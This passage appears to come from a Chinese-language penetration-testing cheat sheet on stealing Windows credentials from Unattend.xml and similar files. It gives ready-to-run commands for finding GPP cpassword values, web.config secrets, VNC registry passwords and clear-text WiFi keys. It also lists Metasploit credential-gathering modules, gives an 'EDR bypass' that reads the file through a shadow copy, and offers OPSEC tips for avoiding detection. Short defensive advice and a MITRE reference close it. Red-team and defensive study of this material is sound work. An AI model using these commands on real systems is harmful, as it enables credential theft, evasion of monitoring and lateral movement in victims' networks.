- `[System.Text.Encoding]::Unicode` — UTF-16LE解码(Windows默认) _command_
- `FromBase64String` — Base64解码方法 _command_
- `certutil -decode` — 使用系统自带工具解码Base64 _command_

**检查其他敏感安装文件**
> 除Unattend.xml外，其他位置也可能存储明文凭证
_platform: windows_
```
# 检查GPP(Group Policy Preferences)密码
findstr /S /I cpassword \\domain.com\sysvol\domain.com\policies\*.xml 2>nul

# 检查IIS配置文件
type C:\inetpub\wwwroot\web.config 2>nul | findstr /i "connectionString password"

# 检查VNC密码文件
reg query "HKCU\Software\ORL\WinVNC3\Password" 2>nul
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v Password 2>nul

# 检查WiFi密码
netsh wlan show profiles
netsh wlan show profile name="目标WiFi" key=clear
```
**语法解析：**
- `cpassword` — GPP使用的AES加密密码字段(密钥已公开) _value_
- `sysvol` — 域控共享目录，所有域用户可读 _value_
- `reg query` — 查询注册表中的密码值 _command_

**使用Metasploit自动化**
> 使用Metasploit后渗透模块自动搜索和提取无人值守安装文件中的凭证
_platform: windows_
```
# Metasploit模块
use post/windows/gather/enum_unattend
set SESSION 1
run

# 也可以使用
use post/multi/gather/firefox_creds
use post/windows/gather/credentials/gpp
use post/windows/gather/cachedump
```
**语法解析：**
- `post/windows/gather/enum_unattend` — 自动搜索并解析Unattend文件 _value_
- `post/windows/gather/credentials/gpp` — 提取GPP存储的凭证 _value_

**EDR 绕过变体：**

**绕过文件访问监控**
> 通过卷影副本或流式读取绕过文件访问监控
_platform: windows_
```
# 使用Volume Shadow Copy读取被锁定的文件
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\Panther\Unattend.xml C:\temp\u.xml

# 使用PowerShell流式读取避免文件锁
[IO.File]::ReadAllText("C:\Windows\Panther\Unattend.xml")
```


**分析：** 无人值守安装文件是Windows大规模部署的产物。这些XML文件中的<UserAccounts>/<AutoLogon>节点可能包含本地管理员或域管理员的明文/编码凭证。该漏洞在企业环境中极为常见，因为IT部门经常忽略部署后清理这些文件。

**OPSEC 提示：**
- 读取文件操作通常不会触发警报，但大量文件搜索(dir /s)可能被EDR检测。建议直接检查已知路径而非全盘搜索。

**概述：** 无人值守安装文件(Unattend.xml)用于Windows自动化部署，可能包含管理员凭证。

**漏洞原理：** Windows部署工具(如MDT、SCCM)生成的Unattend.xml文件中，密码以明文或弱编码(Base64)存储，且部署完成后文件常残留在系统中。

**利用方法：** 利用流程：1) 搜索默认路径下的Unattend/Sysprep文件 2) 提取Password/AutoLogon字段 3) 解码Base64密码 4) 使用获取的凭证横向移动

**防御措施：** 防御措施：1) 部署完成后立即删除Unattend文件 2) 不在Unattend中存储域管理员密码 3) 使用LAPS管理本地管理员密码 4) 定期审计敏感文件

**参考：**
- <https://attack.mitre.org/techniques/T1552/001/>

---
